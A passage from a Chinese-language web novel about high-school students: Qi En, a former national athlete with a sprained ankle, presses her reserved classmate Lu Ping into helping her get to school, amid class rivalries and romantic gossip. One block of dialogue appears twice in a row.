又想到她话没说话,他总避之不及的背影。
“诶,你等等。”她这回总能叫住他了。
卢俜的肩背僵直一瞬,很快折回来,面无喜色地问:“怎么了?还有什么事吗?”
“你联系方式。”齐恩拿出手机。
“抱歉,我们班不让带手机。”
“号码也行。”齐恩往前递屏幕,“输入。”
这还是她头一回管别人要联系方式。
卢俜只好打出自己的联系方式。
齐恩顺着找到微信,很简单的纯白头像。
“卢俜。你微信名就叫这个?”
真是刻板的书呆子,他也点头承认了。
“行了,你走吧。”看他浑身都不自在的拧巴样儿,齐恩宽宏大量地放他离开了。
卢俜却没能走多远。在往教学楼去的长廊上,他和以谌俞为首的一大群体育生狭路相逢。
这边,谌俞和朋友们往医务室去。
他们也才听说齐恩摔倒的事儿。
“就你把齐恩弄摔了?”有人率先开口。
卢俜不语,默默绕开他们,没想到谌俞又拦。
“你们一班的人,可真招人嫌。”谌俞冷笑。
卢俜同样不置可否,侧身过缝隙,快步离开。
.
到了地方,齐恩已经上好了药。谌俞去医用冰箱拿了一块冰袋给她敷,又细致地隔一层毛巾,放在腿凳上。
齐恩是靠近脚背的地方崴到了,谌俞用左手把冰袋摁在上面,一直举着防止它掉下来。
齐恩感觉伤处好受多了,但看他指尖冻得通红,很不好意思:“我自己来吧。”
“我来。”谌俞拂开她的手,“你够不着。”
“好吧。”齐恩躺回去,划拉着手机。
界面还停留在卢俜的个人名片。
“卢……”她和谌俞同时开口。
齐恩朝他仰着下巴:“你先说。”
“刚才我在路上遇见他了。”谌俞说,“真不知道他是故意的还是不小心的,就上次张其薪和周第的事儿,能看出他不是什么好东西。”
“是他送我来医务室的。”齐恩顿了顿,“他应该不是故意的,我看他道歉态度
很诚恳。”
“那又不能说明什么……”谌俞说,“反正彩老师也说了,我们还是少和一班人打交道。”
齐恩听闻一班和十七班的恩怨。
早前从高玟和袁礼米的口中 。
“最早可以追溯到高一开学军训后,张其薪突然就转到我们班了。”高玟说,“很奇怪,他是学理的,就算转文科班,也不该转到我们十七班啊。”十七班和十八班都是大杂烩班级,学艺术的、学体育的、准备出国的,什么都有,当然也有部分学生按部就班准备高考。
不过,这绝对不是优等生该呆的地方。
“他来的时候谌俞还很看不起他呢。再半个月后的开学考试,他全年级前十,彩老师就让他当班长,然后谌俞是体育委员,两个人因为运动会报名才有交集的,后来就关系很铁了。”
“直到高一下学期的春运会,有打篮球的项目,咱们班女生少,基本绝缘半决赛了,谌俞又很想打,所以给文科十班代打,结果碰上一班,把一班打爆了,周第就说谌俞是场外。”
“原来场外逼是那么来的。”齐恩颔首。
“是啊,谌俞不服气,和周第理论。周第更不服气,说十七班以后都是去工地搬砖的。”
“这不是搞学历歧视吗?”齐恩蹙眉,“还搞了职业歧视!工地搬砖惹到他了?”
“然后我就替父出征,替他爹教训他。他被我一脚踹回去了,说我是超雄矮女,鼻嘎点儿大还踹上人了……诶,你别笑啊,齐恩!”高玟跺了跺脚,“反正后来周第他爸平反了,不过具体什么位置也不清楚。那之后他又扬眉吐气了,搞得像没有他爸被警车拉走那回事一样!他还有个哥哥,也很宠他,什么都依着他。”
“那周第说张其薪偷分贼,是怎么一回事?”
“就是去年期末考试,有一道数学压轴题是陈老师出的,张其薪经常去他办公室,那道题又只有张其薪和卢俜做出来了,结果他们数学分数也一样。一班的不服气,说张其薪是偷了分数才和卢俜平起平坐,不然哪能上桌吃饭?”
齐恩听着都觉得不舒服:“他们班的学生这么嚣张跋扈,没人管管吗?温主任不管?”
“谁管呐?”袁礼米也忍不住吐槽,“温主任就是太好说话了,他们班的班主任又……”
“宁得罪君子,毋得罪小人。”齐恩说,“现在看来,彩老师那时的反应还是很明智的。”齐恩顿了顿,“但是,这些好像和卢俜没关系。”
“卢俜?”高玟没懂她的意思。
“谌俞说张其薪和卢俜有过节。”
“是么?”高玟回忆起,“说到这个,我能想到的只有一件事,不过也是小道消息,不一定属实。”她凑近齐恩和袁礼米,“听说张其薪喜欢过方婕,表过白。就转来咱们班之前。”
袁礼米惊呼一声,看来这事儿她也不知情。
不过她知道:“方婕不是对卢俜有意思么?”
齐恩问:“方婕?那个学生会长?”
“是啊。”高玟蹙眉,“我不喜欢她。”
有些事,只有女生能在一瞬间产生心电感应。
袁礼米和她对视一眼:“嗯嗯,我也是。”
齐恩不懂这默契,却听得聚精会神。
原来张其薪和方婕还有过这么一段儿。
所以他们俩的往事和卢俜有关系?高玟说你问我不如问谌俞,我瞎打听的。现在正是契机,齐恩问起这个:“所以高玟说的是真的?”
“唉,这个说法半真半假吧。”谌俞纠正,“表白是没有,但张其薪被拒是真的。”
“诶,真被拒了?”齐恩想象不出来。
“是啊,就是很委婉的,方婕说对谈恋爱没兴趣。”谌俞说,“结果转头就和卢俜当同桌,还走得很近……你懂吧?就相当于拒绝了。”
齐恩问:“那卢俜呢?对她有意思吗?”
“要有意思早就在一起了,都快高三了还没在一起就是没意思呗。”谌俞深谙此道,“而且你看卢俜那种人,像会谈恋爱的人吗?”
“那咱班长不就还有机会吗?”
“人家现在可不一定喜欢方婕。”
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> 下课铃响,谌俞问齐恩需不需要带饭,齐恩说不用。他离开后,她又躺了一会儿,一瘸一拐地走回班。
路上遇到方婕,在逮教室里吃饭的同学。
“都说了多少次,去餐吧吃。”她朝十八班的一个男生说,“算啦,这次就不扣你分了。”
男生谄媚道:“方姐,你是我一辈子的姐。”
方婕勾唇笑了笑,看到齐恩从墙边撑着走过。
她先是上下扫了对方一眼:“你回班?”
齐恩颔首,方婕让她注意安全,转身离开了。
男生倒殷切上前:“齐同学,我送你回去?”
离班上的距离也不远了,齐恩以此推脱,却见方婕又急匆匆返回,热情地搀住她的手。
“什么不用啊,扶你回班而已,我们走吧。”
齐恩不明所以,被她搀扶着往前走两步,遇到温主任和卢俜,两人正在楼梯口谈话。
齐恩似乎有些明白了。
方婕停下,和温主任打招呼,温主
任当然要问齐恩的伤情。这是她自找的,齐恩实话实说:
“卢俜绊我。”
温主任问怎么回事,方婕脸上的笑容消失了。
笑容转移到齐恩脸上:“应该不是故意的?”
卢俜说:“……我不是故意的。”
“显而易见的事实。”齐恩挑眉。
往班门走,这次没人再搀扶她。
齐恩却觉得比方才自在多了。
回到班上睡了午觉,高玟和袁礼米回来了,对着齐恩的脚一阵哭天抢地,说卢俜是卖拐的。
啥叫卖拐的?把好端端的人给忽悠瘸了,双脚都离地了。只不过,不是忽悠,也不是瘸了。
“我就崴个脚,你们把卢俜说得犯罪似的。”齐恩笑了,“行了,再说人家告我们诽谤了。
上午有风波,下午却相安无事。自习课后,齐恩合上蓝本2000题,放学都铃声恰好响起。
“要不我送你回家?”谌俞从身后拍她。
齐恩笑说不用了,“我打算留晚自习。”
“留晚自习干嘛?你又不是住宿生。”谌俞皱着眉道,“而且,太晚回家也不安全吧。”
张其薪从前座转过头:“我司机开车来。”
意思是很方便捎你一路,齐恩也说不用。
等到两人离开教室,高玟和袁礼米对视一眼,才异口同声:“长得美就是有人追着送啊。”
齐恩知道她们说的是什么,咧了咧嘴,头疼地捏了把眉心:“我就是不知道该怎么应付。”
高玟喜欢她的不扭捏,不像某些人,拿着异性的喜欢故作姿态,假意为难、实则暗爽。
事实上,齐恩也没必要暗爽。
因为喜欢她的人实在太多了。
“不需要刻意疏离,拿他们俩当普通朋友就好。”高玟顿了顿,又阴阳怪气,“方婕呢,快来学学你齐姐,学学怎么万花丛中过。”
片叶不沾身。齐恩没那么想过,她不是对谈情说爱避之不及的人,只是,从出生到现在,让她有感觉的人很难存在。一般是越了解,对一个人的祛魅越容易。距离是最好的美化滤镜。
一旦戳开,往往不如想象中的美好。
齐恩也没有对谁说中午和方婕之间的事,尽管她对这个女生没有好感。但认识一个人,往往需要更多的接触,而不是一瞬就盖棺定论。
放晚自习了,齐恩没人来接,她乘电梯去一楼。只需要单脚到校门口,就能换个麻利点的交通工具。
她背上书包,撑着书桌懒散地踱到门口,看到走廊另一端过来的两个人,是方婕和卢俜。
方婕在对他说些什么,卢俜态度淡淡,不热情也不冷冽。等到了楼梯口,方婕一副还想解释什么的神态,急切起来,伸手拉卢俜的衣角。
卢俜皱着眉心,镜片下的眼眯起,避之不及,向后闪躲。某一刻,两人达到了微妙的僵持。
齐恩的咳嗽声适时响起。
“喂,卢同学。”她说。
“我腿脚不方便,走不了路。作为始作俑者,你难道不打算好心送我到校门口么?”
卢俜站在那儿,他的神情倒像是松了一口气。
他对方婕礼貌告别:“抱歉,我得去帮她。”
三好学生走过来,依旧伸出手搀扶住齐恩。
两人往前走了两步,到下楼梯时却犯了难。
“……要不去老师办公楼坐电梯?”
卢俜沉默片刻,走那边,有点远,也很麻烦。他把背包拎在手上,纠结地看向她肿高的脚,像是下定了某种决心,先抬脚下两级台阶。
他再回过身:“……我可以背你下去。”
交通工具
齐恩视线上移,卢俜校服短袖下的肩很宽阔。
这让她想到他上午在国旗下穿着正装演讲。
非常板正,给人不能逾矩的规束感。
目光顺着优美的颈部曲线往上,是不高不低的头发。巧克力色的小羊毛卷,蓬松柔软。
薅一把,就薅两下,手感一定棒极了。像午后暖融融的芳草地,指缝里都痒痒绒绒的。
齐恩扼住自己出格的想法。现成的交通工具,三好学生卢俜。谢谢他,她不能不尊重他。
她抬手环住他的肩,低声说:
“我和书包一起……有点儿分量。”
并没有,对于卢俜来说,轻而易举。
有分量的东西只是贴着他的肩胛。
他背着她下楼,过了第二节晚自习下课的时间点,楼层里学生很少,他们并不引人注目。
一阶阶往下,并没有奇怪的事发生。
卢俜的身体也没有方才绷得那样直了。
齐恩没话找话:“我还很意外呢,以为你是和异性接触会过敏的人。”
卢俜挽着书包,双手护她:“……没有。”
他被她搞得有点痒,她不说话还好,一说话,潮湿含混的热气喷在后耳廓,像过了电。
齐恩继续问:“你累不累啊?”
她要滑下去了,卢俜往上抬。
“不累。”他只是觉得有点儿热。
毕竟是夏天。夏天是流汗的季节。
“那你背我到校门口吧。”齐恩说。
卢俜一时无语:“……哦。”
“哦是什么意思,你不情愿?”齐恩嘀咕,“我不强人所难,你没劲,没事的。”
“我没有不情愿。”下到一楼,卢俜的身形停顿了片刻,“那你帮我提着书包吧。”
“得嘞,我帮你背着。”齐恩伸手接过,一起背到后面。卢俜再把她背起,这次更轻巧了。
“你有劲啊,卢俜,你劲劲儿的。”齐恩鼓励他,“你要不要试着把我背到家?”
卢俜惊讶了一瞬,对于她的提议:
“……你别得寸进尺。”
他总算说点接地气的话,齐恩嘿嘿一笑。不知为什么,看卢俜端着,她总想让他多点情绪。
乘胜追击。齐恩继续问:“你也是走读生?”
卢俜回答是。齐恩问你家住得离学校近吗。
回答在学区房。“你是父母陪读呀?”
操场夜风习习,空气静谧,热潮汹涌。卢俜没说话,他一个人住。父母是很陌生的存在。
“榕城真好。”齐恩说,“出门就能看海。”
卢俜想,榕城处内陆以南,但离沿海有距离。
齐恩补充道:“火海。”
卢俜再无语:“……”
没人接梗,齐恩也有点难受:
“卢俜,你好高冷啊。”
卢俜抿了抿唇,“你家住在哪里?”
齐恩惊喜道:“你打算背我回家吗?”
“不是,我给你打计程车。”
他说话的空隙,一颗晶莹的汗珠顺着后脑勺的发丝间流下。室外三十五度,齐恩也很热。
她不会真的让他背回家,但他给她打计程车。现在的卢俜像那时给她付款的小卷毛兜帽哥。
齐恩更喜欢热心肠的卢俜。
“你的兜帽呢?怎么不戴上了?”
卢俜迟疑片刻,才回答:
“不翘课,不用避人,就不用戴。”
“哦?三好学生还翘课啊?”
“我只是去图书馆自习。”
“你不怕学生会查勤查到你?”齐恩又想到他和方婕的关系,“哦,你当然不怕。”
卢俜没多解释,她又要滑下去了。
他再次提了提手臂,齐恩惊呼出声。
一刹那,卢俜感受到身后袭来的气息。
不是某种沐浴液、香皂、洗衣粉的味道。
不循规蹈矩,很清冽浓郁的中草药香。
卢俜呼吸轻缓下来:“抱歉。”
齐恩环着他的手紧了紧:
“你吓我一跳,下回说一声。”
卢俜听到下回,眉头蹙了半分。
“我每天都要背你吗?”
“那不然呢,谁害我变成半残疾?”
“那是周第说的。”卢俜局促地辩解。
“嗯———?”齐恩不乏兴师问罪的意思。
卢俜只解释:“……想帮你的人很多。”
不缺我一个,卢俜是这个意思。齐恩很受欢迎,想方便出行,肯定有男生愿意施以援手。如果她需要的是这个,完全不必揪着他不放。
事实上他说的不错,齐恩刚婉拒过班上两位。
只是,齐恩也有自己的打算,她还不想刚上学就沾染一些难以摆脱的口舌是非。
“那你呢?想帮助我的人里面,不包括你呗。”齐恩半揶揄半认真,“三好学生?”
到校门口了,卢俜给她拦了一辆计程车。
他没否认,让司机把她送到地方。
“到家之后,让你家里人下来接你。”卢俜接过自己的书包,“既然你不想走楼梯的话。”
齐恩勾起唇笑了笑,“我
家就我一个人住。”
她关上车门。
后视镜里,卢俜的身型挺拔缄默,如话语一样意赅。仍然站在路灯下,平静地目送她远去。
.
计程车到永安里的聚民社区。这儿其实也算是学区房,离一高和三高这两所市重点都很近。
齐恩选择租在闹市,也是因为出行方便。虽然基础设施和装潢都很老旧,租金却很好接受。
走进鸳鸯楼,家在三楼。自己租的房子,特意选不高的楼层。齐恩庆幸自己有先见之明。
扶着沾满灰尘的斑驳栏杆,齐恩的手指触碰到陈年口香糖的痕迹,她渐渐蹙深了眉头。
只靠右脚一点点地跳上去,很累。天太热,她只爬了半层就筋疲力尽。鼻尖淌着汗,流到下巴。
月光从剪刀楼梯和天井间洒进来。
齐恩把水光和月光一齐从亮晶晶的颈上抹去。
她的脸在苍白的月色和石灰的缝隙里暂寂。
这时,脚下有脚步声响起,逼近了。
齐恩眼睫眨汗看向他。卢俜来到她面前。
他把书包再次递给她,熟稔地俯下身。
“几楼?”他问,“你的家。”
“三楼,再上一楼就到。”
他背着她上行。
齐恩问:“你怎么在这儿?”
“我住这儿。”卢俜说,“四楼。”
“一号楼还是二号楼?”
“二号楼。”
“那我是一号楼。”
到三楼了,齐恩指了指,“靠花坛的房门。”
卢俜把她轻放在家门口,月光下他背对着她,人因运动而起伏,雪白的细绒毛在脸颊长喘。
齐恩盘算着他那一头软乎乎的小羊毛卷。
卢俜没打算久留,他说再见,折身往楼道去。
齐恩再叫住他:“卢俜。”
“什么事?”他波澜不惊。
“你还没加我,给你发好友申请了。”
卢俜拿出手机通过:“加上了。”
齐恩偏开月光,打量他泛红的耳廓,“嘿。”她善诱,“让我摸一下你的头发,好不好?”
卢俜低头说不好。
这回离开得干脆极了。
一号楼和二号楼只隔天台,和窄窄天光一缝,半片月光帷帐。齐恩看着卢俜走过楼梯,他的背影谈不上孤单,楼道的声控灯拉长了影子。
一步步的,他走到她家的对面。
左偏一些的2403,那是他的家。
他开灯才算家。
家门口的鞋柜上很空荡。
只有他自己的一排运动鞋。
齐恩意识到他和她一样。
这感觉让她更共鸣。
齐恩支着那只左脚,月光温柔,她在出神。
直到手机那方传来了消息震动的提示音。
【卢俜】:你没带钥匙?
齐恩回答不是,在赏月。
卢俜那边显示在输入,然而没了动静。
齐恩这才打开房门回屋,她把书包放下。
浑身都是黏腻的汗,她去卫生间洗澡。
洗完澡出来,她穿着轻便的米色吊带和睡裤,擦干左脚,随后是上药包扎。冷气开到最大,她忘记戴干发帽,反应过来时打了一个喷嚏。
把不常用的东西都清到杂物房,玄关处还有一副拐,齐恩咬了咬牙,起身,就着清出的垃圾把这双拐甩到楼道的垃圾堆。
拍了拍手,她畅快地笑了。
学到晚上十一点,齐恩打了个哈欠。
高玟问她到家了没,齐恩打字回复。
“你一个瘸子怎么回家啊?”
“是卢俜送我回来的。”
“是我想的那个卢俜吗?”
“咱们学校除了他还有谁叫这个?”
“他送你?你再说一遍谁送的你?”
“卢俜送的我。”
“卢俜送的谁?”
“送我,他送我回家。”
“等一会儿,卢俜怎么你了?”
“……你马冬梅没完了是吧?”
“这不能怪我,你敢说我都不敢听,卢俜诶!他那种人能和乐于助人沾上边么?”
“你别着急,我给你理一理。”
“你怎么给我理?这太猎奇了。”
“首先我在走廊看到卢俜和方婕,方婕在掰扯他,我就伸出援手,问他能不能扶我下楼。”
“嗯,挺好。”
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高玟赞同,“不管卢俜咋样,看到方婕不舒服,我心底就舒服多了。”
“然后我下不去,卢俜说能背我下去,我想着有福不能不享,没苦不能硬吃,我就准了。”
“他能好心背你?他转性了?好吧,他一个三好学生是该装一下的。”
“他背我下楼,我让他背到校门口,我打计程车回家。反正最后发现我俩同一栋楼。”
“等等,这也巧到家门口了吧!什么叫最后你俩同一栋楼?怎么一下子就变亲近了?”
“亲近倒不至于。只是我有一个想法。谌俞对我八成有意思,张其薪对我有五成意思……你说卢俜对我有没有意思?”
“虽然他送了你,但我觉得……”
“是
,他对我一点意思也没有。”
“你说,张其薪和谌俞都不喜欢卢俜,如果我和卢俜玩得好,他们肯定能对我祛魅。”
“正解啊,姐。你这思路无敌了,而且还多了一个便于出行的交通工具!”
这么讲太不人道主义了。
但齐恩还是决定尝试一下。
她跑到厨房的窗户边看一眼。
2403的那一间还亮着灯。
她给卢俜发消息:“你睡了没?”
两分钟后,卢俜回复:“没有。”
“好学生,我有事儿找你商量。”
“什么事?”卢俜没有好预感。
“咱们现在是邻居,又是一起回家的关系。”
她做这么多的铺垫,卢俜问:“所以?”
“能不能和我每天一起上下学?”
“不行。”意识到拒绝得太果断。
他撤回,斟酌着措辞:“不太方便。”
“为什么?”齐恩反问,“谁害的我?”
卢俜感到麻烦:“你的那支单拐呢?”
“我卖了。”齐恩回的是语音。
卢俜片刻后有发来了三个句号。
嘿,什么意思,齐恩干脆打去电话。
对面挂断,她再打,再挂断,再打。
“你不接,我就去敲你家房门了。”
卢俜接起:“你到底想怎么样?”
“送我上学放学,在我没痊愈的这段时间。”
卢俜委婉的:“实在不方便,可以请病假。”
“我方便。”齐恩反唇相讥,“你不方便?”
卢俜那边没了回复。
惟有翻页的沙沙声。
“明天在楼道口等我。”齐恩说。
卢俜依旧怄着气,不搭理她。
“我要去敲你家门了。”齐恩作势起身。
“明早七点。”卢俜说,“请你准时!”
他用了请,好微妙的措辞。
齐恩忍不住偷笑起来。
,他对我一点意思也没有。”
“你说,张其薪和谌俞都不喜欢卢俜,如果我和卢俜玩得好,他们肯定能对我祛魅。”
“正解啊,姐。你这思路无敌了,而且还多了一个便于出行的交通工具!”
这么讲太不人道主义了。
但齐恩还是决定尝试一下。
她跑到厨房的窗户边看一眼。
2403的那一间还亮着灯。
她给卢俜发消息:“你睡了没?”
两分钟后,卢俜回复:“没有。”
“好学生,我有事儿找你商量。”
“什么事?”卢俜没有好预感。
“咱们现在是邻居,又是一起回家的关系。”
她做这么多的铺垫,卢俜问:“所以?”
“能不能和我每天一起上下学?”
“不行。”意识到拒绝得太果断。
他撤回,斟酌着措辞:“不太方便。”
“为什么?”齐恩反问,“谁害的我?”
卢俜感到麻烦:“你的那支单拐呢?”
“我卖了。”齐恩回的是语音。
卢俜片刻后有发来了三个句号。
嘿,什么意思,齐恩干脆打去电话。
对面挂断,她再打,再挂断,再打。
“你不接,我就去敲你家房门了。”
卢俜接起:“你到底想怎么样?”
“送我上学放学,在我没痊愈的这段时间。”
卢俜委婉的:“实在不方便,可以请病假。”
“我方便。”齐恩反唇相讥,“你不方便?”
卢俜那边没了回复。
惟有翻页的沙沙声。
“明天在楼道口等我。”齐恩说。
卢俜依旧怄着气,不搭理她。
“我要去敲你家门了。”齐恩作势起身。
“明早七点。”卢俜说,“请你准时!”
他用了请,好微妙的措辞。
齐恩忍不住偷笑起来。
三女一男
次日一早,齐恩拎着书包出家门。
卢俜脸色阴沉,站在楼道口等她。
齐恩不大利索地走过去:“怎么了?”
卢俜没说什么,盯着不远处的垃圾堆。
齐恩意识到昨夜丢的拐还躺在那儿。
她不自在地笑笑。
好在卢俜不打算和她掰扯:“背你下楼。”
齐恩顺而接过他的书包:“你吃早饭了没?”
“没有。”卢俜说。齐恩的肚子咕噜噜响。
“楼下有牛肉面馆,我想吃汤粉。我请你。”
卢俜蹙眉:“来不及,我们班七点半早读。”
“啊?我们班八点才开始啊。”
“每个老师的规矩不一样。”
这倒是实话,而且年级最好的班和最次的班,肯定也不一样。齐恩把面打包了,卢俜去便利店买三明治。随后,两人在街口面面相觑。
“你平时怎么去学校?”齐恩问,“走路?”
卢俜点头,吃口三明治,咀嚼的力度很克制。
“那你现在什么打算?背着我去上学?”
卢俜:“……这不就是你想要的吗?”
“我是身体有疾病,不是心理有疾病。”齐恩扶额,“让一个半拉男同学背着我上学,我是什么很坏的人吗?作文素材都不这么写。”
“那你想怎么办?”卢俜神色略微缓和。
“……坐公交吧。”两人挤上了九号路。
车上没有座位,卢俜戴着耳机默念英语课文,修长的手臂攀在横杆上,齐恩干脆就把手攀在他的胳膊上。他甩开,说别这样,齐恩瞪他问那咋了。卢俜没话了,她继续刷百词斩打卡。
一站路的车程,还要往回走几百米才到校门,住永安里附近的学生,没人会坐公交车上学。
当然,腿脚不便的除外。齐恩被人流裹挟着下了车,卢俜扶稳了她,他看上去像上战场:
“你确定要我扶着你进校?”
“我要的就是咱俩一起进校门。”
“我可以喊你们班同学来接你。”
“我要的就是你,不是你还不行。”
卢俜愈发狐疑地瞧着她。
“干嘛?”齐恩回瞪他,“正常的男女交际好不好?谁犯错谁承担,谁主管谁负责,谁把我搞瘸了,谁就要负担起我的日常起居!我都没有找你要赔偿费,你噜噜个脸给谁看呢?”
卢俜深吸一口气,“我没有噜噜个脸。”他拎起齐恩的胳膊,“走吧,上课要迟到了。”
于是。在其余同学或好奇或诧异的目光下,市三好学生搀扶着受伤的前国手进了教学楼。
不出意外,全校学生都知道卢俜绊倒了齐恩,现在是赎罪阶段。齐恩反而悠哉惬意,趁着还没上早自习,在学生餐吧里享用自己的早膳。
有同学也偷摸出来吃早餐,见到她打声招呼。
自从齐恩进了班级群和年级群,来加她的人源源不断。她现在已经认识一些有特征的人了。
但最让她印象深刻的还是一班的周第。
这货加了她,却没有说一句话。
齐恩对周第的印象还是之前张其薪斗殴那事,他说自己半残。当下在餐吧遇到,周第很不自在,搔首弄姿的,齐恩却视若无睹地咬面条。
餐吧里有空调,但牛肉面加了红油,齐恩还是吃出一身汗。她用手背拂去鼻尖的水珠,周第立刻打开一旁的冰柜,递给她一瓶冰镇汽水。
“给我的?”齐恩抬头看他。
周第颔首,坐在她的对面。
齐恩接过放在一边,继续吃面。
“你和张其薪关系很好?”他问。
齐恩放下碗筷:“你和张其薪关系很差?”
“……反正我劝你们女生少和他往来。”
齐恩没问他为什么。
“你为什么和我说?”
“我只是好心劝告你,别什么都不明白,被人卖了还帮人数钱,你们女生就是这么单纯。”
“从哪儿看出来的?”
齐恩冷笑一声。
“张口一个女生,闭口一个女生,怎么?我们没带把儿的就方便你贴标签吗?你是从哪儿看出来我单纯的?因为我刚到你们这所学校?因为我是个有名的人?还是……因为我的脸?”
齐恩轻描淡写道:“到底是以貌取人吧?”
周第恼怒起来:“你不过是长得凑合些!”
他破防了,真好笑。
没有边界感的家伙。
“凑合些?”齐恩反唇相讥,“我很美吧。”
她走向他,迫使他只能看她,“不是吗?”
餐吧是玻璃墙的,外面的人能清楚看到里面。
周第做贼心虚地往后退,齐恩则步步紧逼。
“走廊都是人,你……你做什么?”
“你怕什么?”齐恩勾了勾唇畔。
下一秒,齐恩错开他,把剩下的面扔进他身后的垃圾桶里。周第只收获她潇洒离去的背影。
“我只是个半残废,还能怎么你吗?”
.
齐恩回到教室,班级里晨读的声音稀稀拉拉。
不想打扰补觉的同桌们,齐恩在张其薪
旁边坐下。
张其薪开口:“你早上和卢俜一起来学校?”
齐恩说了声是,张其薪面色略沉。
“刘彩说过,少和一班的人往来。”
“我那是正常往来。”齐恩笑道,“他弄坏了我的脚,就得帮助我,天经地义。而我出行不方便,也没道理不接受他的帮助,是吧?”
张其薪本不该再多说,可看着齐恩笑意盈盈的脸蛋,他没能忍住:“昨晚我说了能送你。”
“那不是太麻烦你和你家司机了?”
“那你也没必要麻烦一个本来就不熟的人。”
齐恩若有所思,轻飘飘道:“没有啊。”
“没有不熟,他请我喝过水,开学第一天。”齐恩顿了顿,“我和他都住在聚民社区。”
张其薪无话可说,深吸一口气:“好。”
早自习后,刘彩进班说月考事项:“这是期末前最后一次月考了啊,大家都按照自己的复习节奏来,好好准备,争取考过隔壁老十八。”
听到最后一句话,又有人窃窃笑语。
十七班和十八班简直了,两个文科艺体班,成绩一等一的差,每次都在年级倒数第一和倒数第二之间争风,说是难兄难弟也不为过。
刘彩和隔壁十八班的秦老师也是难兄难弟,每逢开会必会被点名。好在哥俩心理素质不错,教这种班级求的是什么?不求有功,只求无过,只要安安稳稳让娃们混到毕业就行了。
临到快上午第三节课了,谌俞才鬼鬼祟祟地从后门溜进来,不巧,被刘彩逮了个正着。
“早上两节课干嘛去了?”刘彩兴师问罪。
谌俞明显睡过头了,一脑袋的鸡毛乱蓬蓬。
他挠头笑道:“上厕所。”
“……还笑,再这样就送你去男性肛肠科。”刘彩再一次轻轻放下,“下不为例啊。”
谌俞溜回后排,抬头一看,没在齐恩位置上看到人。他又左右张望一会儿,最后在第二排看到她和袁礼米坐在一起,聚精会神地听讲。
“靠,这叛徒!”他切齿,“说好摆烂的。”
“谁和你说好摆烂?”高玟见怪不怪的,“人齐恩学的可认真了,别把她和你相提并论。”
谌俞振振有词:“她说了这次月考摆烂的!”
“那是因为她才刚开始学,再怎么努力,能考多少?倒数哥,你还是担心担心你自己吧。”
谌俞老脸一红,又看向前面的张其薪,干脆拎着包坐过去,随手打开书本遮避刘彩的视线,“那啥,还有半个月就是齐恩的生日了。”
张其薪微妙地捏紧了笔杆,“那怎么?”
“你说我给她准备什么好?”谌俞乐颠颠的。
张其薪没作答,又看他一眼:“该不会……”
谌俞破天荒没反驳,局促地捏着泛红的鼻尖:“反正你就当不知道呗,给我参谋参谋。”
谌俞喜欢齐恩,张其薪惊讶,但没有那么惊讶。喜欢齐恩是很正常的事,无论她的脸,还是性格,都是让人无法讨厌的存在。除此之外,她不那么好接近,比想象中的要疏离。
“你不是还喜欢方婕吗?”谌俞兴致盎然的,“你现在还在追她吗?给我取取经呗。”
张其薪张了张嘴,欲言,最终又闭上。
他无所谓地笑了一下:“可以。”
.
到了中午饭点,齐恩自个儿去了一趟医务室,让值班老师给可怜的左脚重新上了一遍药。
上完药不能马上穿鞋,容易闷着。
她干脆翘着脚在病床上补觉。
没想到再睁眼,是上课前十分钟铃打响。
齐恩睡得头昏脑胀,看来午觉睡久了也不好。
她穿好鞋,跟老师要了个退烧冰贴,跳着单脚去卫生间洗了把脸,冰贴啪唧一下贴在额头。
透心凉,心飞扬。
齐恩清醒多了,一脚深一脚浅离开办公楼。
这时候,走廊那端走来三个人,正好碰上。
“是齐恩呐。”大腹便便的温主任和蔼地问,“这都要上课了,你还在办公楼干嘛?”
“给脚上药。”齐恩又看向他身后的两人。
哟,好巧,交通工具和学生会长。
齐恩懒散玩味地挑起眉稍。
卢俜抿了抿唇,没说什么。
“正好,我也找你有点儿事。”温主任说,“你和卢俜、方婕,一起来我办公室。”
齐恩面露难色:“下节是陈天师的课。”
“我会给你开假条。”温主任遂叹息一声,“你们啊,别成天给老教师起这种外号!”
齐恩应了一声,跟在两位三好学生后头。
方婕回头看他一眼,脸色不太好看:
“齐恩同学,麻烦你你把校服穿好。”
齐恩才注意到自己裤腿没有放下。
她把裤腿捲到底,朝卢俜吐舌头。
卢俜的视线挪到她额头上的蓝色冰贴上。
她的脸太标致,一时间竟让人忽略这个。
“……你发烧了?”
“没有,就是热。”
她问:“温主任叫我去办公室干嘛?”
“优秀学生代表的事
,待会他会讲的。”
“哦,吓死我。我还以为要挨批了。”
卢俜冷飕飕睨她:“不做亏心事。”
“我做什么亏心事儿了?”齐恩问。
“骗人。”他指的是早上那副弃拐。
齐恩装不明白:“我骗你啥了?”
卢俜正要说什么,身边人的肚子呼噜噜叫。
齐恩特别大声:“卢俜,肚子饿了也不说!”
温主任闻言回过头,问卢俜怎么不吃午饭。
卢俜铁青着脸不答话,齐恩憋着劲地偷笑。
到了办公室,温主任递过来表格:“下个月有领导下来视察,学校打算搞个优秀代表迎接,除了之前几个市三好学生,还有你,齐恩。”
齐恩指了指自己:“我?”
“体育人才也是人才。你知名度还那么高。”
得,都是前国手了,还要给学校当活招牌。
温主任看齐恩的脚,多问一句:
“你那时候脚伤应该痊愈了?”
“那得看我的日常出行有没有人帮助了。”
温主任发话:“卢俜,既然是你把人家弄伤,就要能帮则帮,照顾好人家,听见没?”
于是回班路上,齐恩还耀武扬威地撞卢俜的肩膀,学温主任的语气:“听见没?听见没?”
“……听见了!”卢俜几乎一字一顿地道。
卢俜把齐恩送到班门口,她问他留晚自习吗。
卢俜说留,齐恩说,那你晚自习下了来接我。
意思是要一起回家。
卢俜思索片刻,说我不留。
“那你放学了来十七班等我。”
这不是一个意思么。
卢俜无语凝噎。
他转身回班,方婕这时候才慌忙开口:
“卢俜,你真要天天送齐恩上下学?”
卢俜脚步不停:“这是温主任的安排。”
方婕咬了咬唇,“但是她摆明了……”
“摆明了什么?”
“摆明赖上你了!”
方婕满脸愠色:“她明明不缺人,非得找你,要你背她,还非当着温主任的面说。你只是不小心绊了她而已,她没必要一直缠着你吧?”
“不管有心无心,是我绊倒的,就要负责。”
“那个谌俞,他不是对齐恩很殷勤?干脆让他负责呗。还有张其薪,都是十七班的班干
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部,怎么就非要你这个一班的班长去负责她?”
她能想到,卢俜何尝想不到。
又或许齐恩也和他一样。
只想合理规避一些麻烦。
.
很奇怪的,放学后,齐恩并没有等到卢俜。
第二十一分钟,她有些坐不住了。
她望向走廊对面的一班门口。
人早已经走光了。
卢俜。
她在嘴里念叨一遍。
卢俜!你才是骗子!
她气冲冲地拎书包,关门关灯关教室,下楼。
一瘸一拐地往校门口去,给卢俜打电话。
没人接。
